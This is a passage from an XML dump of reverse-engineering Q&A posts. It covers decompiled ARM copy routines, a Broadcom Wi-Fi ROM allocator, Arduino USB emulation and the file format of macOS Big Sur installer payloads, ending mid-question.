         uVar14 = puVar5[6];&#xA;          uVar16 = puVar5[7];&#xA;          param_2 = puVar5 + 8;&#xA;          puVar2[4] = param_4;&#xA;          puVar2[5] = uVar13;&#xA;          puVar2[6] = uVar14;&#xA;          puVar2[7] = uVar16;&#xA;          puVar1 = puVar2 + 8;&#xA;          iVar8 = iVar10 + -0x20;&#xA;        } while (0x1f &amp;lt; iVar10);&#xA;        if (iVar10 + -0x10 &amp;lt; 0 == SCARRY4(iVar8,0x10)) {&#xA;          param_4 = *param_2;&#xA;          uVar13 = puVar5[9];&#xA;          uVar14 = puVar5[10];&#xA;          uVar16 = puVar5[0xb];&#xA;          param_2 = puVar5 + 0xc;&#xA;          *puVar1 = param_4;&#xA;          puVar2[9] = uVar13;&#xA;          puVar2[10] = uVar14;&#xA;          puVar2[0xb] = uVar16;&#xA;          puVar1 = puVar2 + 0xc;&#xA;          iVar8 = iVar10 + -0x30;&#xA;        }&#xA;      }&#xA;      bVar18 = SCARRY4(iVar8,0x14);&#xA;      iVar9 = iVar8 + 0x14;&#xA;      bVar17 = iVar9 &amp;lt; 0;&#xA;      do {&#xA;        if (bVar17 == bVar18) {&#xA;          param_4 = *param_2;&#xA;          uVar13 = param_2[1];&#xA;          uVar14 = param_2[2];&#xA;          param_2 = param_2 + 3;&#xA;          *puVar1 = param_4;&#xA;          puVar1[1] = uVar13;&#xA;          puVar1[2] = uVar14;&#xA;          puVar1 = puVar1 + 3;&#xA;          bVar18 = SBORROW4(iVar9,0xc);&#xA;          iVar9 = iVar9 + -0xc;&#xA;          bVar17 = iVar9 &amp;lt; 0;&#xA;        }&#xA;      } while (bVar17 == bVar18);&#xA;    }&#xA;    iVar10 = iVar9 + 8;&#xA;    puVar2 = puVar1;&#xA;    if (iVar10 &amp;lt; 0 == SCARRY4(iVar9,8)) {&#xA;      if (iVar10 &amp;lt; 4) {&#xA;        param_4 = *param_2;&#xA;        param_2 = param_2 + 1;&#xA;      }&#xA;      if (iVar9 + 4 &amp;lt; 0 == SBORROW4(iVar10,4)) {&#xA;        uVar13 = *param_2;&#xA;        uVar14 = param_2[1];&#xA;        param_2 = param_2 + 2;&#xA;        *puVar1 = uVar13;&#xA;        puVar1[1] = uVar14;&#xA;        puVar2 = puVar1 + 2;&#xA;        iVar10 = iVar9;&#xA;      }&#xA;      else {&#xA;        puVar2 = puVar1 + 1;&#xA;        *puVar1 = param_4;&#xA;        iVar10 = iVar9 + 4;&#xA;      }&#xA;    }&#xA;    goto LAB_0003b7ec;&#xA;  }&#xA;  puVar5 = (uint *)((uint)param_2 &amp;amp; 0xfffffffc) + 1;&#xA;  uVar14 = *(uint *)((uint)param_2 &amp;amp; 0xfffffffc);&#xA;  if (uVar13 &amp;lt; 3) {&#xA;    if (uVar13 == 2) {&#xA;      puVar6 = puVar5;&#xA;      if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003b910:&#xA;        do {&#xA;          uVar13 = uVar14 &amp;gt;&amp;gt; 0x10;&#xA;          puVar5 = puVar6 + 1;&#xA;          uVar14 = *puVar6;&#xA;          puVar2 = puVar1 + 1;&#xA;          *puVar1 = uVar13 | uVar14 &amp;lt;&amp;lt; 0x10;&#xA;          iVar10 = iVar8 + -4;&#xA;          bVar17 = 3 &amp;lt; iVar8;&#xA;          puVar1 = puVar2;&#xA;          puVar6 = puVar5;&#xA;          iVar8 = iVar10;&#xA;        } while (bVar17);&#xA;      }&#xA;      else {&#xA;        iVar8 = iVar8 + -0xc;&#xA;        do {&#xA;          iVar9 = iVar8;&#xA;          uVar13 = uVar14 &amp;gt;&amp;gt; 0x10;&#xA;          uVar16 = *puVar5;&#xA;          uVar12 = puVar5[1];&#xA;          uVar15 = puVar5[2];&#xA;          uVar14 = puVar5[3];&#xA;          puVar5 = puVar5 + 4;&#xA;          *puVar1 = uVar13 | uVar16 &amp;lt;&amp;lt; 0x10;&#xA;          puVar1[1] = uVar16 &amp;gt;&amp;gt; 0x10 | uVar12 &amp;lt;&amp;lt; 0x10;&#xA;          puVar1[2] = uVar12 &amp;gt;&amp;gt; 0x10 | uVar15 &amp;lt;&amp;lt; 0x10;&#xA;          puVar1[3] = uVar15 &amp;gt;&amp;gt; 0x10 | uVar14 &amp;lt;&amp;lt; 0x10;&#xA;          puVar1 = puVar1 + 4;&#xA;          iVar8 = iVar9 + -0x10;&#xA;        } while (0xf &amp;lt; iVar9);&#xA;        iVar10 = iVar9 + -4;&#xA;        puVar2 = puVar1;&#xA;        puVar6 = puVar5;&#xA;        iVar8 = iVar10;&#xA;        if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b910;&#xA;      }&#xA;      param_2 = (uint *)((int)puVar5 + -2);&#xA;      goto LAB_0003b7ec;&#xA;    }&#xA;    puVar6 = puVar5;&#xA;    if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003b8a4:&#xA;      do {&#xA;        uVar13 = uVar14 &amp;gt;&amp;gt; 8;&#xA;        puVar5 = puVar6 + 1;&#xA;        uVar14 = *puVar6;&#xA;        puVar2 = puVar1 + 1;&#xA;        *puVar1 = uVar13 | uVar14 &amp;lt;&amp;lt; 0x18;&#xA;        iVar10 = iVar8 + -4;&#xA;        bVar17 = 3 &amp;lt; iVar8;&#xA;        puVar1 = puVar2;&#xA;        puVar6 = puVar5;&#xA;        iVar8 = iVar10;&#xA;      } while (bVar17);&#xA;    }&#xA;    else {&#xA;      iVar8 = iVar8 + -0xc;&#xA;      do {&#xA;        iVar9 = iVar8;&#xA;        uVar13 = uVar14 &amp;gt;&amp;gt; 8;&#xA;        uVar16 = *puVar5;&#xA;        uVar12 = puVar5[1];&#xA;        uVar15 = puVar5[2];&#xA;        uVar14 = puVar5[3];&#xA;        puVar5 = puVar5 + 4;&#xA;        *puVar1 = uVar13 | uVar16 &amp;lt;&amp;lt; 0x18;&#xA;        puVar1[1] = uVar16 &amp;gt;&amp;gt; 8 | uVar12 &amp;lt;&amp;lt; 0x18;&#xA;        puVar1[2] = uVar12 &amp;gt;&amp;gt; 8 | uVar15 &amp;lt;&amp;lt; 0x18;&#xA;        puVar1[3] = uVar15 &amp;gt;&amp;gt; 8 | uVar14 &amp;lt;&amp;lt; 0x18;&#xA;        puVar1 = puVar1 + 4;&#xA;        iVar8 = iVar9 + -0x10;&#xA;      } while (0xf &amp;lt; iVar9);&#xA;      iVar10 = iVar9 + -4;&#xA;      puVar2 = puVar1;&#xA;      puVar6 = puVar5;&#xA;      iVar8 = iVar10;&#xA;      if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b8a4;&#xA;    }&#xA;    param_2 = (uint *)((int)puVar5 + -3);&#xA;    goto LAB_0003b7ec;&#xA;  }&#xA;  puVar6 = puVar5;&#xA;  if (iVar8 &amp;lt; 0xc) {&#xA;LAB_0003b97c:&#xA;    do {&#xA;      uVar13 = uVar14 &amp;gt;&amp;gt; 0x18;&#xA;      puVar5 = puVar6 + 1;&#xA;      uVar14 = *puVar6;&#xA;      puVar2 = puVar1 + 1;&#xA;      *puVar1 = uVar13 | uVar14 &amp;lt;&amp;lt; 8;&#xA;      iVar10 = iVar8 + -4;&#xA;      bVar17 = 3 &amp;lt; iVar8;&#xA;      puVar1 = puVar2;&#xA;      puVar6 = puVar5;&#xA;      iVar8 = iVar10;&#xA;    } while (bVar17);&#xA;  }&#xA;  else {&#xA;    iVar8 = iVar8 + -0xc;&#xA;    do {&#xA;      iVar9 = iVar8;&#xA;      uVar13 = uVar14 &amp;gt;&amp;gt; 0x18;&#xA;      uVar16 = *puVar5;&#xA;      uVar12 = puVar5[1];&#xA;      uVar15 = puVar5[2];&#xA;      uVar14 = puVar5[3];&#xA;      puVar5 = puVar5 + 4;&#xA;      *puVar1 = uVar13 | uVar16 &amp;lt;&amp;lt; 8;&#xA;      puVar1[1] = uVar16 &amp;gt;&amp;gt; 0x18 | uVar12 &amp;lt;&amp;lt; 8;&#xA;      puVar1[2] = uVar12 &amp;gt;&amp;gt; 0x18 | uVar15 &amp;lt;&amp;lt; 8;&#xA;      puVar1[3] = uVar15 &amp;gt;&amp;gt; 0x18 | uVar14 &amp;lt;&amp;lt; 8;&#xA;      puVar1 = puVar1 + 4;&#xA;      iVar8 = iVar9 + -0x10;&#xA;    } while (0xf &amp;lt; iVar9);&#xA;    iVar10 = iVar9 + -4;&#xA;    puVar2 = puVar1;&#xA;    puVar6 = puVar5;&#xA;    iVar8 = iVar10;&#xA;    if (iVar10 &amp;lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b97c;&#xA;  }&#xA;  param_2 = (uint *)((int)puVar5 + -1);&#xA;LAB_0003b7ec:&#xA;  iVar8 = iVar10 + 4;&#xA;  if (iVar8 != 0) {&#xA;    bVar18 = SBORROW4(iVar8,2);&#xA;    bVar17 = iVar10 + 2 &amp;lt; 0;&#xA;    bVar11 = *(byte *)param_2;&#xA;    *(byte *)puVar2 = bVar11;&#xA;    pbVar3 = (byte *)((int)param_2 + 1);&#xA;    if (1 &amp;lt; iVar8) {&#xA;      pbVar3 = (byte *)((int)param_2 + 2);&#xA;      bVar11 = *(byte *)((int)param_2 + 1);&#xA;    }&#xA;    pbVar7 = (byte *)((int)puVar2 + 1);&#xA;    if (bVar17 == bVar18) {&#xA;      pbVar7 = (byte *)((int)puVar2 + 2);&#xA;      *(byte *)((int)puVar2 + 1) = bVar11;&#xA;    }&#xA;    pbVar4 = pbVar3;&#xA;    if (iVar8 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;      pbVar4 = pbVar3 + 1;&#xA;      bVar11 = *pbVar3;&#xA;    }&#xA;    if (iVar8 != 2 &amp;amp;&amp;amp; bVar17 == bVar18) {&#xA;      *pbVar7 = bVar11;&#xA;    }&#xA;    return CONCAT44(param_1,pbVar4);&#xA;  }&#xA;  return CONCAT44(param_1,param_2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My best guess for now is it is doing some kind of encoding and it might be a standard glibc function as it is called many times throughout the code.&lt;/p&gt;&#xA;&lt;p&gt;This function is usally called with parameter like follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ToSolve1(auStack55,(uint *)&amp;amp;DAT_000543f4,0xe,uVar10);&#xA;ToSolve1(auStack55,(uint *)&amp;amp;DAT_0005489c,0xe,uVar10);&#xA;ToSolve1((uint *)&amp;amp;DAT_0004f602,&amp;amp;local_1c,4,(uint)&amp;amp;DAT_0004f680);&#xA;ToSolve1(param_1,&amp;amp;DAT_0004f5f8,0xe,(uint)puVar4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope someone can give me a nudge on what this function is.&#xA;If possible, I would like to learn about if there are any resources out there that can help me improve the skills of recognizing standard function signatures.&lt;/p&gt;&#xA;" OwnerUserId="33693" LastActivityDate="2021-07-22T21:01:40.120" Title="Having hard time analyzing stripped code" Tags="|arm|ghidra|functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25411" PostTypeId="2" ParentId="25410" CreationDate="2020-06-27T17:23:21.463" Score="0" Body="&lt;p&gt;For starters you could start by geting rid of most of the casts then start carving out the stack and heap structs where possible, then try to change the name of variables where possible to more type oriented ones, this will show most of the &amp;quot;duplicate&amp;quot; variables.&lt;/p&gt;&#xA;&lt;p&gt;Then start following the main flow following labels and maybe change their name to what specific position mignt represet, like &lt;code&gt;fail_exit&lt;/code&gt; or &lt;code&gt;success_exit&lt;/code&gt; etc&lt;/p&gt;&#xA;&lt;p&gt;Allso, is allways good to have the basic std structs defined if the source was compiled with c++.&lt;/p&gt;&#xA;&lt;p&gt;e.g&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct std_vector{&#xA;  void* begin;&#xA;  void* end;&#xA;  void* capacity;&#xA;} &#xA;&#xA;struct std_tree_node_base{&#xA;       std_tree_node_base* left;&#xA;       std_tree_node_base* parent;&#xA;       std_tree_node_base* right;&#xA;       char color;&#xA;       char isNil;&#xA;       short pad1;&#xA;       //here will be the payload of the node, padded if needed&#xA; }&#xA;&#xA; //red-black tree used to implement std::map, std::set&#xA; struct std_tree{&#xA;      std_tree_node_base*    head;&#xA;      __int64                size;&#xA; }&#xA;&#xA; struct std_list_node{&#xA;      std_list_node* next;&#xA;      std_list_node* prev;&#xA;      //node payload here&#xA; }&#xA;&#xA; struct std_list{&#xA;      std_list_node* head;&#xA;      __int64        size;&#xA; }&#xA;&#xA; //same for std::wstring but using wchar_t* &#xA; struct std_string {&#xA;       char*    _Begin;&#xA;       char*    _End;&#xA;       __int64  _MySize;&#xA;       __int64  _MyReserved;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And maybe switch to IDA as its has a lot better decompiler than Ghidra.&#xA;I think you can get the freeware version on their website, should suffice.&lt;/p&gt;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="25994" LastEditorUserId="25994" LastEditDate="2020-06-27T17:32:36.220" LastActivityDate="2020-06-27T17:32:36.220" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25415" PostTypeId="1" CreationDate="2020-06-28T15:02:09.317" Score="1" ViewCount="94" Body="&lt;p&gt;I am attempting to disassemble a ROM image for a BCM4366C [1] after reading a blog post where researchers reversed some other Broadcom chips [2] . I have analyzed the ROM image in Ghidra and I have tried to identify the &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;memcpy&lt;/code&gt;, &lt;code&gt;free&lt;/code&gt; and &lt;code&gt;printf&lt;/code&gt; functions, but now I am struggling to understand what I believe to be the main &lt;code&gt;malloc&lt;/code&gt; loop. I believe the entry point to &lt;code&gt;malloc&lt;/code&gt; is at &lt;code&gt;00012124&lt;/code&gt;, based on the large number of xrefs Ghidra has found where &lt;code&gt;r0&lt;/code&gt; is set to a small immediate value followed by a branch to this address, eg:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        00018dcc 4f f4 a2 70     mov.w      r0,#0x144&#xA;        00018dd0 f9 f7 a8 f9     bl         malloc              ;; 00012124&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At &lt;code&gt;00012124&lt;/code&gt; there is a branch to &lt;code&gt;00011eb8&lt;/code&gt; which I believe to be the guts of the &lt;code&gt;malloc&lt;/code&gt; function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                             LAB_00011eb8                                    XREF[2]:     00012126(j), 0001212c(j)  &#xA;        00011eb8 2d e9 f7 4f     push       { r0, r1, r2, r4, r5, r6, r7, r8, r9, r10, r1...&#xA;        00011ebc 03 30           add        r0,#0x3&#xA;        00011ebe 4f f0 01 0b     mov.w      r11,#0x1&#xA;        00011ec2 20 f0 03 04     bic        r4,r0,#0x3&#xA;        00011ec6 0b fa 01 f1     lsl.w      r1,r11,r1&#xA;        00011eca b1 f5 80 4f     cmp.w      r1,#0x4000&#xA;        00011ece 34 bf           itE        cc&#xA;        00011ed0 8b 46           mov.cc     r11,r1&#xA;        00011ed2 4f f4 80 4b     mov.cs.w   r11,#0x4000&#xA;        00011ed6 90 f0 a7 f8     bl         FUN_000a2028                                     undefined FUN_000a2028()&#xA;        00011eda 39 4b           ldr        r3,[DAT_00011fc0]                                = 002007B8h&#xA;        00011edc 00 22           mov        r2,#0x0&#xA;        00011ede bb f1 04 0f     cmp.w      r11,#0x4&#xA;        00011ee2 38 bf           it         cc&#xA;        00011ee4 4f f0 04 0b     mov.cc.w   r11,#0x4&#xA;        00011ee8 d3 f8 00 a0     ldr.w      r10,[r3,#0x0]=&amp;gt;DAT_002007b8&#xA;        00011eec 15 46           mov        r5,r2&#xA;        00011eee 91 46           mov        r9,r2&#xA;        00011ef0 13 46           mov        r3,r2&#xA;        00011ef2 cb f1 00 01     rsb        r1,r11,#0x0&#xA;        00011ef6 0b f1 ff 3b     add.w      r11,r11,#0xffffffff&#xA;        00011efa 01 91           str        r1,[sp,#Stack[-0x2c]]&#xA;        00011efc cd f8 00 b0     str.w      r11,[sp,#0x0]=&amp;gt;Stack[-0x30]&#xA;                             LAB_00011f00                                    XREF[1]:     00011f4a(j)  &#xA;        00011f00 41 68           ldr        r1,[r0,#0x4]&#xA;        00011f02 19 b3           cbz        r1,LAB_00011f4c&#xA;        00011f04 d1 f8 00 80     ldr.w      r8,[r1,#0x0]&#xA;        00011f08 a0 45           cmp        r8,r4&#xA;        00011f0a 1d d3           bcc        LAB_00011f48&#xA;        00011f0c dd f8 04 b0     ldr.w      r11,[sp,#Stack[-0x2c]]&#xA;        00011f10 01 f1 08 07     add.w      r7,r1,#0x8&#xA;        00011f14 07 eb 08 0c     add.w      r12,r7,r8&#xA;        00011f18 c4 eb 0c 06     rsb.w      r6,r4,r12&#xA;        00011f1c 0b ea 06 06     and.w      r6,r11,r6&#xA;        00011f20 be 42           cmp        r6,r7&#xA;        00011f22 11 d3           bcc        LAB_00011f48&#xA;        00011f24 dd f8 00 b0     ldr.w      r11,[sp,#0x0]=&amp;gt;Stack[-0x30]&#xA;        00011f28 1b ea 07 0f     tst.w      r11,r7&#xA;        00011f2c 02 d0           beq        LAB_00011f34&#xA;        00011f2e f7 1b           sub        r7,r6,r7&#xA;        00011f30 07 2f           cmp        r7,#0x7&#xA;        00011f32 09 d9           bls        LAB_00011f48&#xA;                             LAB_00011f34                                    XREF[1]:     00011f2c(j)  &#xA;        00011f34 c4 eb 08 07     rsb.w      r7,r4,r8&#xA;        00011f38 57 45           cmp        r7,r10&#xA;        00011f3a 05 d2           bcs        LAB_00011f48&#xA;        00011f3c 62 46           mov        r2,r12&#xA;        00011f3e 35 46           mov        r5,r6&#xA;        00011f40 67 b1           cbz        r7,LAB_00011f5c&#xA;        00011f42 ba 46           mov        r10,r7&#xA;        00011f44 81 46           mov        r9,r0&#xA;        00011f46 0b 46           mov        r3,r1&#xA;                             LAB_00011f48                                    XREF[4]:     00011f0a(j), 00011f22(j), &#xA;                                                                                          00011f32(j), 00011f3a(j)  &#xA;        00011f48 08 46           mov        r0,r1&#xA;        00011f4a d9 e7           b          LAB_00011f00&#xA;                             LAB_00011f4c                                    XREF[1]:     00011f02(j)  &#xA;        00011f4c 48 46           mov        r0,r9&#xA;[snip]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is a loop entering at &lt;code&gt;00011f00&lt;/code&gt; with the reverse jump at &lt;code&gt;00011f4a&lt;/code&gt;, and a single jump out of the loop at &lt;code&gt;00011f40&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The line that is confusing me is the first line of the loop (&lt;code&gt;00011f00&lt;/code&gt;) -- here the instruction &lt;code&gt;ldr r1,[r0,#0x4]&lt;/code&gt; would be using &lt;code&gt;r0&lt;/code&gt; as a base address and then dereferencing &lt;code&gt;r0+0x4&lt;/code&gt; into &lt;code&gt;r1&lt;/code&gt; (because of the &lt;code&gt;[]&lt;/code&gt;, indicating immediate offset addressing). However, I can't find any instructions prior to this where &lt;code&gt;r0&lt;/code&gt; is loaded into, it appears to only be loaded with a small immediate value at the &lt;code&gt;malloc&lt;/code&gt; call sites (which I thought was the callers specifying the size of memory they want alloc'd). Apart from the 'wrapper' at &lt;code&gt;00012124&lt;/code&gt;, the only other block of code I am encountering in my in-my-head trace of the execution is the branch at &lt;code&gt;00011ed6&lt;/code&gt;, and the function there also does not touch &lt;code&gt;r0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The loop ends by moving &lt;code&gt;r1&lt;/code&gt; into &lt;code&gt;r0&lt;/code&gt; before jumping back to the start, at which point the &lt;code&gt;ldr r1,[r0,#0x4]&lt;/code&gt; instruction is executed again. Based on this I had thought that this loop is walking over the linked list of free heap blocks: each heap block has a pointer to the next heap block at offset 0x4, which is retrieved at the start of the loop.&lt;/p&gt;&#xA;&lt;p&gt;Is the instruction at &lt;code&gt;00011f00&lt;/code&gt; actually dereferencing the size as a base address? Or is &lt;code&gt;r0&lt;/code&gt; being written to earlier in the flow and I cannot see where it is happening?&lt;/p&gt;&#xA;&lt;p&gt;Additionally, I would love to know if I am on the right track with understanding the allocator, but if you can help me with this one &lt;code&gt;ldr&lt;/code&gt; instruction I would be very grateful! &lt;/p&gt;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://github.com/seemoo-lab/bcm_misc/blob/master/bcm4366c/rom.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/seemoo-lab/bcm_misc/blob/master/bcm4366c/rom.bin&lt;/a&gt;&lt;br /&gt;&#xA;[2] &lt;a href=&quot;https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT: &lt;code&gt;FUN_000a2028&lt;/code&gt; is defined as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                             **************************************************************&#xA;                             *                          FUNCTION                          *&#xA;                             **************************************************************&#xA;                             undefined FUN_000a2028()&#xA;             undefined         r0:1           &amp;lt;RETURN&amp;gt;&#xA;             undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     000a202e(W)  &#xA;                             FUN_000a2028                                    XREF[2]:     FUN_00011dc4:00011de0(c), &#xA;                                                                                          malloc:00011ed6(c)  &#xA;        000a2028 10 b5           push       { r4, lr }&#xA;        000a202a 02 4c           ldr        r4,[DAT_000a2034]                                = 00200418h&#xA;        000a202c 24 68           ldr        r4,[r4,#0x0]=&amp;gt;DAT_00200418&#xA;        000a202e 01 94           str        r4,[sp,#local_4]&#xA;        000a2030 10 bd           pop        { r4, pc }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33700" LastEditorUserId="33700" LastEditDate="2020-06-28T19:44:52.913" LastActivityDate="2020-06-28T19:44:52.913" Title="Immediate offset LDR in presumed malloc function looks wrong in static analysis" Tags="|arm|memory|static-analysis|rom|thumb2|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25418" PostTypeId="2" ParentId="25387" CreationDate="2020-06-29T06:12:42.543" Score="1" Body="&lt;p&gt;Almost any Arduino is capable of USB communication (at least low speed). There is difference if you need software (for example V-USB) or it has hardware support. Unless your board has dedicated USB output (which usually also mean hardware support) you also need to make required connector to USB cable (watch for appropriate signal voltage level (3.3 V)). And no, USB port used for uploading your program to Arduino cant be used as it is usually only USB to serial converter.&lt;/p&gt;&#xA;&lt;p&gt;And now for software part. You need same VID and PID as your existing device so Windows (I assume you use them) can use correct driver and then you need to implement algorithm on your Arduino which depends on used USB implementation so look at examples available for your implementation.&lt;/p&gt;&#xA;&lt;p&gt;In case you find Arduino inadequate for your task you can look at other ARM MCU development boards (for example Nucleo). Which are faster and more powerful.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2020-06-29T06:12:42.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25419" PostTypeId="1" AcceptedAnswerId="25424" CreationDate="2020-06-29T07:32:13.690" Score="2" ViewCount="798" Body="&lt;p&gt;Apple's announcement of macOS Big Sur had meant the release of the developer beta. In an attempt to create the appbundle from Apple's &lt;code&gt;softwarecatalog&lt;/code&gt;, &lt;a href=&quot;https://kittywhiskers.eu/the-chronicles-of-big-sur/&quot; rel=&quot;nofollow noreferrer&quot;&gt;I attempted to study the contents of &lt;code&gt;InstallAssistant.pkg&lt;/code&gt;&lt;/a&gt;. In the process, I found &lt;code&gt;pbzx&lt;/code&gt; files in the &lt;code&gt;payloadv2&lt;/code&gt; directory that mimic Format 3.0 used by iOS for its' OTA updates and &lt;a href=&quot;http://newosxbook.com/articles/OTA8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the study of that format by Johnathan Levin&lt;/a&gt; and attempted to use his &lt;code&gt;ota&lt;/code&gt; tool to extract it (which uses the following struct)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#pragma pack(1)&#xA;struct entry&#xA;{&#xA;&#xA;    unsigned int usually_0x210_or_0x110;&#xA;    unsigned short  usually_0x00_00; //_00_00;&#xA;    unsigned int  fileSize;&#xA;    unsigned short whatever;&#xA;    unsigned long long timestamp_likely;&#xA;    unsigned short _usually_0x20;&#xA;    unsigned short nameLen;&#xA;    unsigned short uid;&#xA;    unsigned short gid;&#xA;    unsigned short perms;&#xA;    char name[0];&#xA;// Followed by file contents&#xA;};&#xA;&#xA;#pragma pack()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There was no avail with &lt;code&gt;ota&lt;/code&gt; so I resorted to use a slightly modified (in terms of memory improvements) version of his &lt;code&gt;pbzx&lt;/code&gt; tool to extract the stream, to success using the bash command given below in the &lt;code&gt;payloadv2&lt;/code&gt; directory&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;rm *.ecc &amp;amp;&amp;amp; find *.??? -exec bash -c &amp;quot;./pbzx {} &amp;gt;&amp;gt; {}.unpbzx&amp;quot; \; &amp;amp;&amp;amp; mkdir unpbzx &amp;amp;&amp;amp; mv *.unpbzx unpbzx/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a result I now have a directory full of &lt;code&gt;.unpbzx&lt;/code&gt; files. Attempting to run &lt;code&gt;ota&lt;/code&gt; (with &lt;code&gt;pbzx&lt;/code&gt; support removed to eliminate the possibility of potential bugs there) on &lt;code&gt;payload.000.unpbzx&lt;/code&gt; results in a Segmentation Fault, &lt;code&gt;gdb&lt;/code&gt; returns&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Corrupt entry (0x31414159 at pos 30@0x10100001e).. skipping&#xA;&#xA;Thread 2 received signal SIGSEGV, Segmentation fault.&#xA;0x00000001000031b4 in processFile (FileName=0x7ffeefbff74e &amp;quot;/Volumes/[redacted]/pbzx/payload.000.unpbzx&amp;quot;) at ota.c:423&#xA;423                 while (ent-&amp;gt;usually_0x210_or_0x110 != 0x210 &amp;amp;&amp;amp; ent-&amp;gt;usually_0x210_or_0x110 != 0x110)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Running it with alternative tools like &lt;code&gt;ota2tar&lt;/code&gt; (with &lt;code&gt;pbzx&lt;/code&gt; extraction code removed) and forks of &lt;code&gt;ota&lt;/code&gt; like &lt;code&gt;iOS-Utilities&lt;/code&gt; gave similar errors (out-of-bounds memory errors, etc.)&lt;/p&gt;&#xA;&lt;p&gt;It appears that somehow this &lt;code&gt;unpbzx&lt;/code&gt; file has a different header structure to the description of &lt;a href=&quot;https://www.theiphonewiki.com/wiki/OTA_Updates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Format 3.0 on the iPhone Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Opening &lt;code&gt;payload.000.unpbzx&lt;/code&gt; with Hex Fiend shows that the file format appears to be differing from the struct given above (singular entry highlighted)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x9dqV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9dqV.png&quot; alt=&quot;Hex Fiend showing an odd format with magic phrase YAA1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Files seem to be listed with some form of delimiter &lt;code&gt;YAA1&lt;/code&gt; in the beginning. Isolating individual entries gives results similar to the image given below (file name highlighted)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zYcIY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zYcIY.png&quot; alt=&quot;Photograph of hex string with singular entry, highlighting of path&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My knowledge of reverse engineering is admittedly limited so the best I could do is some psudocode about what the struct may look like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct entry&#xA;{&#xA;  uint8_t header; // 59414131 (0xYAA1) &#xA;  uint32_t description; // 69005459 50314450 41545030 (iTYP1DPATP)&#xA;  uint8_t padding; // 00&#xA;  // fileNameLen undefined&#xA;  char[fileNameLen] filename; // System/Library/Perl/Extras/5.28/Net/LDAP/Control&#xA;  uint8_t uid; // 55494431 (or 0xUID1)&#xA;  uint8_t padding2; // 00&#xA;  uint8_t descr_end; // 474944 31004D4F 4432ED01 464C4734 00000800 4D544D54&#xA;  // (descr_end includes GID, MOD and FLG values)&#xA;  // file_contents&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As a last ditch attempt, I ran &lt;code&gt;payload.000.unpbzx&lt;/code&gt; through 7zip and it identifies the file as a &lt;code&gt;gzip&lt;/code&gt; stream&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Path = /Volumes/[redacted]/pbzx/payload.000.unpbzx&#xA;Type = gzip&#xA;ERRORS:&#xA;There are data after the end of archive&#xA;Offset = 5636247&#xA;Physical Size = 98&#xA;Tail Size = 12327687&#xA;Headers Size = 10&#xA;Streams = 1&#xA;&#xA;ERROR: There is some data after the end of the payload data : payload.000&#xA;&#xA;Sub items Errors: 1&#xA;Archives with Errors: 1&#xA;Open Errors: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But &lt;code&gt;gunzip&lt;/code&gt; does not recognize the format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;At this point, what would be the best way of interpreting this new archival structure and how do I proceed 